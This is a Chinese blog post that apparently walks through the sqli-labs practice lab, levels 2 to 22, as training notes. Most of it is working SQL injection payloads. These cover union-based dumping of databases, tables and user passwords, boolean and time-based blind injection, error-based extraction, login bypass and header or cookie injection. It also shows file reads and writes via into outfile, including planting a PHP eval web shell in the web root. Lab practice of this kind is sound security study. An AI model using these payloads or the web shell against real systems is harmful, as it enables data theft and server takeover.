Sqli-Labs-master 注入训练 (Page-1)
Sqli-Labs-master 注入训练(Page-1)
咋们直接从第二关开始练习
Less-2:
第二关在 id=1 后面直接加一个单引号,报错,所以知道查询语句整体是有的单引号闭合的,所以后面直接跟order by 3--+
,正常回显,order by 4--+
,报错,超出范围,将id改为-1,后面跟上union select 1,2,3--+
,有2和3 的回显
在2的位置查询数据库名字database()
在3的位置查询名字或者版本或者数据库路径或者数据库系统user() or version() or @@datadir or @@version_compile_os
接着再查询数据库中的所有数据库名union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+
查询当前数据库的所有表名union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
查询users表中的所有列名union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
查询id, username, password 中的信息union select 1,(select group_concat(id,username,password) from users),3--+
至此,成功爆出数据库的信息
Less-3:
在id=1后面输入一个单引号,报错,输入两个单引号,回显正常,所以在1那里有一对单引号,我们需要闭合那个单引号,查询语句就要写成id=1' order by 3--+
其他的操作如Less-2一样。
Less-4:
在id=1后面输入一个单引号,没有报错,输入一个双引号,报错,根据报错的地方我们可以看出来,在1的那部分有一个双引号和一个括号,用")--+
闭合,回显正常,所以查询语句是id=1") order by 3--+
其他的操作如Less-2一样。
sql盲注:
常用的几个函数:
-
left() 这个函数的作用是从字符串的左边开始截取,
id=1 and left(database(),1)='s'--+
,截取几个就显示几个,?id=1 and left(database(),3)='sec'--+
-
substr() 这个函数的作用也是截取字符串,但是是从特定位置截取特定字符串的,
?id=1 and substr(database(),1,1)=='s'--+
-
mid() 这个函数的作用和substr() 一样
-
ascii() 函数 这个函数是将字符串转换成ascii码,如果是一个字符串中的字母比一个多,只会识别第一个字符
-
ord() 这个函数和ascii函数一样。
regexp正则注入
判断数据库的第一个字符在不在[a-z] 中,?id=1 and 1=(select 1 from information_schema.tables where table_schema=database() and table_name regrxp '^[a-n]'limit 0,1)
接下来就修改正则表达式 '^n[a-n]'
不断尝试。因为table_name 有很多个,是不需要修改Limit的,只需要大量匹配。
举例说明:我有两个表,users 和 emails 当我and table_name regrxp '^us[a-n]'limit 0,1
成立,匹配这个and table_name regrxp '^em[a-n]'limit 0,1
也是成立的。关键在第一个你匹配的是啥。
like匹配 这个和正则匹配一样,是模糊匹配
报错注入
payload: ?id=1 union Select 1,count(*),concat(0x3a,0x2d,database(),floor(rand(0)*2))a from information_schema.columns group by a--+
count() 函数,这个函数是统计字符出现的次数
floor() 这个函数是向下取整,floor(3.4)=3
rand() 这个函数是生成一个随机数,如果里面没有参数,就是返回一个随机的0—1之间的数
https://www.freebuf.com/articles/web/255522.html这个文章讲的特别清楚。
floor(rand(0)*2)这个的取值要么是1 ,要么是 0.
报错注入的关键是group by a;还有count() 聚合函数,将相同的查询到的内容聚合,分成两组
还有常用的payload: select count(*),concat((select database()), floor(rand(0)*2))as a from information_schema.tables group by a;
简化payload : select count(*) from information_schema.tables group by concat(versison(),floor(rand(0)*2))
(但是我没实现出来)
当关键表被禁用的时候,可以是哦难过以下查询
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
(也没实现)
当rand() 函数被禁用(没实现)
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
exp()注入
当传递一个大于709的数时,exp() 函数会有溢出报错,exp 函数是计算自然底数e的n次方,在MySQL中,log函数和ln 函数一样,都是返回以e为底数的对数,和exp 函数刚好相反。
mysql> select ~0
会返回一个很大的数字,前面那个符号是取反,所以构造函数,当函数执行成功时,会返回0,再取反,数字很大,再使用exp()函数,就会报错。(不知道是不是我mysql版本的问题,报错格式对了,内容不对)。
extractvalue()和updatexml()报错注入
extractvalue()函数是对xml 文档进行查询的函数,所以在这个函数的第二个参数必须要是xml格式,如果不是,就会把错误的地方爆出来,updatexml函数也是一样的,不同的是第一个函数有两个参数,第二个有三个参数。
extractvaue()http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1%27%20and%20extractvalue(%27anything%27,concat(%27~%27,(select%20database())))--+
格式就是这样的。
updatexml() http://127.0.0.1:81/sqli-labs-master/Less-1/?id=1%27%20and%20(updatexml(%27anything%27,concat(%27~%27,(select%20database())),%27anything%27))--+
两个函数很相似。
时间盲注
if函数,if(a,b,c) 如果a 可以执行的话,就执行b , 不然就执行c,,在这里常常和sleep函数搭配。
?id=1 and if(ascii(substr(database(),1,1))>100,0,sleep(5))--+
解释:如果数据库的第一个字母的ascii码大于100,就直接返回,否则延迟5秒加载网页。
Less-5:
在id后面输入1 或者 2 或者 55 或者随便的字符,页面始终不变,这就说明页面不会显示数据,只能用报错来判断是否正确,构造payload id=1' and length(database())>10--+
此时页面与之前的显示不符,说明数据库的字符长度小于等于10,再次重复构造,直到得出数据库的字符长度是8,然后开始使用substr函数和ascii函数进行测试,构造payload,id=1' and ascii(substr(database(),1,1))>100--+
这里我写了一个python小脚本来跑,速度会快很多。
接着构造id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>100--+
以下同理。
Less-6:
当输入双引号的时候,发现有报错,所以在id=1后面加上一个双引号,再进行脚本爆破。
导入导出相关操作
-
load_file()导出文件
load_file(file_name)读取文件并返回文件的内容作为第一个字符串
使用条件:
必须有权限读取并且文件完全可读 and (select count(*) from mysql.user)>0 如果返回正常,说明具有读写权限。
欲读取文件必须在服务器上
必须指定文件完整的路径
例子:
select 1,2,3,4,5,6,7,hex(replace(load_file(char(9,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109))))
利用hex()将文件内容导出,尤其是smb文件时可以使用。-1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))
LOAD DATA INFILE 语句用于高速从一个文本文件中读取行,并装入一个表,文件名必须为一个文字字符串。
select ... into outfile 'file_name' 可以把被选择的行写入一个文件中,该文件被创建到服务器上,因此必须拥有file权限,file_name不能是一个已经存在的文件。
例子:
select version() into outfile 'C:\\phpnow\\htdocs\\test.php'
select version() into dumpfile 'C:\\phpnow\\htdocs\\test.php'
用于二进制文件可以把version 换成一句话木马,然后用菜刀连接就行。
第二种是修改文件的结尾:
select version() into outfile 'c://phpnow//htdocs//test.php' line terminated by 0x16进制文件
通常是以‘\r\n’结尾,此处修改为我们像上传的文件,类似大马,同时也可以用FIELDS TEEMINATED BY (分隔符)
Less-7:
当输入单引号的时候,开始报错,输入双引号不报错,但是我以为是对单引号有过滤,但是好几种绕过单引号的方法都不行,于是看了一下源代码,原来是在id=1的后面有一个单引号和两个括号,于是构造id=1'))
然后用Less-5的脚本爆破。
今天看了一些文章,发现这关不是这么玩的,这一关按照提示,是要通过文件上传来。
首先要检测有没有上传文件的权限,?id=1')) and (select count(*) from mysql.user)>0--+
如果页面返回正常的话,就是说明有上传权限。
上传文件之前要知道正确的文件路径,还要确定secure_file_priv权限是开启的,这个权限在mysql的配置文件中,修改my.ini,有的话修改secure_file_priv后面的参数,空的话就是不限制任何文件,如果是null的话,就是不能读写,但是后面是指定的文件的话,就是只能对这个文件读写。
开始尝试写入?id=1 union select 1,2,"qwerty" into outfile "D:\\phpstudy_pro\\WWW\\1.php"--+
,回车之后发现页面还是报错,但是文件已经被写入文件夹了,开始写入一句话木马,?id=1 union select 1,2,"<?php @eval($_POST['test']);?>" into outfile "D:\\phpstudy_pro\\WWW\\1.php"--+
或者into dumpfile,发现文件已经被写入,直接用菜刀连接,连接成功。
Less-8:
我以为这道题会不同,没想到和Less-5一样。更新了一下脚本,一次性将所有的都跑出来了。
Less-9:
输入什么都不变,看了一下源码,是单引号,但就是没反应,放到自己写的脚本中,确实也跑出来了,于是看了文章,是时间注入。http://localhost:81/sqli-labs-master/Less-9/?id=1%27%20and%20if((ascii(substr(database(),1,1))%3E100),sleep(4),0)--+
Less-10:
和第九关一样,只是把单引号变成了双引号。
Less-11:
从这关开始,就进入了post注入,页面是一个登录界面,在username 那里输入一个单引号,不出意外,确实报错了,根据报错信息,我们可以看出来,在username 和password 处有单引号限制,然后尝试用万能密码:1' or 1=1# 结果就登录进去了,其他的payload 和第一关一样。
Less-12:
尝试输一下单引号,没有回显,输入双引号,报错,报错信息中可以看出是双引号加一个括号的限制。其他和上一关一样。
Less-13:
尝试输入一个单引号,没想到直接报错,在id 出有’)的限制。输入1‘)or 1=1# 发现登录成功,但是没有信息,只是图片改变了,所以这一关是无回显注入,主要看图片,和前面几关相似。
Less-14:
输入双引号,报错,其他和13关一样。使用extractvalue()函数和updatexml()函数可以将信息显示出来
Less-15:
这一关不管输入单引号还是双引号和括号,都不报错,所以没有信息,使用玩我能密码可以登录,也确定是单引号限制,用时间注入。
Less-16:
这一关直接使用万能密码,经过不断尝试,发现id处是“)的限制,使用extractvalue()函数和updatexml()函数也不管用,可以用时间盲注。(注意,在前面的一定是admin") and 这种形式的,因为必须要匹配一个,或者输一个不可能的数,换成or).
MySQL数据库的增删查改
增: INSERT INTO 表名(字段名1,字段名2,)VALUES(值1,值2);
例: INSERT INTO student(id,username,grade) VVALUES(1,’zhangshan ‘,98)如果不指定字段名,则添加的值的顺序和字段在表中一样。
INSERT INTO student SET id=4,name='skk',grade=72;这个也一样。可以同时添加多条信息。
删:DELETE FROM 表名 WHERE 条件表达式
例 : DELETE FROM student WHERE id=7;DELETE * FROM student;删除整个表TRUNCATE TRUNCATE TABLE student;使用delete 删除表时,吓一条记录会接着添加,但是使用truncate会从1开始。
改:——更新数据
UPDATE 表名 SET 字段名1=值1,字段名2=值2, WHERE 条件表达式。
UPDATE student SET name='cc',grade=4 WHERE id=1; 更新全部数据 UPDATE student SET grade=80;
查:简单查询语句 SELECT id,name,grade from students;SELECT * FROM students;
SELECT * FROM students WHERE id>5; SELECT * FROM students WHERE id IN (1,2,3); not in
SELECT id,name FROM students WHERE id BETWEEN 2 AND 5;
空值查询: SELECT * FROM student2 WHERE gender IS NULL;
用来过滤重复的值,值保留一个:SELECT DISTINCT gender FROM student2;
用来匹配任意长度的字符串:SELECT id,name FROM student2 WHERE name LIKE "S%";
下划线通配符;SELECT * FROM student2 WHERE name LIKE 'wu_ong';
OR 和 AND 一起使用的时候,AND 的优先级高于 OR
Less-17:
这一关我不管输入单引号,双引号和括号,都没有显示,根据提示,是要更新密码,我们可以尝试输入一个正确的账号,密码随便输,结果发现提示更新成功,我们可以猜想语句是先查询有没有账号,有的话修改密码,所以我们构造payload, 在账号那里还是填写admin,密码出写1' and extractvalue(1,concat('~',database()))#
,发现信息报错出来了,其他的和的上面一样构造就行了。
为什么不构造username: 查看源代码,发现有一个函数,check_input(),这个函数设置了几道对username 的检测,
addslashes()函数,返回预定义字符之间添加反斜杠。预定义字符是单引号,双引号,反斜杠,null ,因为php 对所有的get.post .cookie 都会自动运行addslashes(),所以不能对已转义过的字符串使用addslashes(),会导致双层转义,遇到这种情况可以使用函数get_magic_quotes_gpc()进行检测。
stripslashes()函数删除由 addslashes()函数添加的反斜杠
mysql_real_escape_string() 函数转义sql语句中使用的字符串中的特殊字符。
在check_input()对username 进行了各种转义,所以此处不能进行注入。
Less-18:
这一关打开后,发现写着你的IP是127.0.0.1,所以可能想到的是headers请求头的注入。构造请求头,
不断变换user-agent就可以了。
Less-19:
这一关和上一关一样,当输入正确的账号和密码的时候,发现出来的是referer,于是构造referer ,和上一题一样,只是把useragent 变成referer.
Less-20:
从源代码中我们发现,cookie从username中获得值后,当再次刷新时,会从cookie中读取username,然后进行查询,
修改cookie为uname=admin1' and extractvalue(1,concat(0x7e,(select @@basedir),0x7e))#就可以了。这个可以使用burpsuite来抓包修改,我用python不知道为什么没有请求成功。
Less-21:
首先输入正确的账号和密码,发现返回的界面和上一关一摸一样,只是在cookie 那里的数据被加密过,而且比较像base64的加密,把加密数据解密,发现就是咋们登录的账号,所以这一关的思路和上一关的一摸一样,但是我们的注入语句要加密过一遍才行。
但是当我把上一关的payload加密之后提交上去时,发现过滤字符出了问题,尝试发现是')的过滤,修改payload ,直接成功。
Less-22:
这一关和上一关又是一样的,除了过滤字符不同,这一关的过滤字符是:‘“
ok,至此,sqli-labs-master 的第一大关就算过了,让我们继续旅吧!!!!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现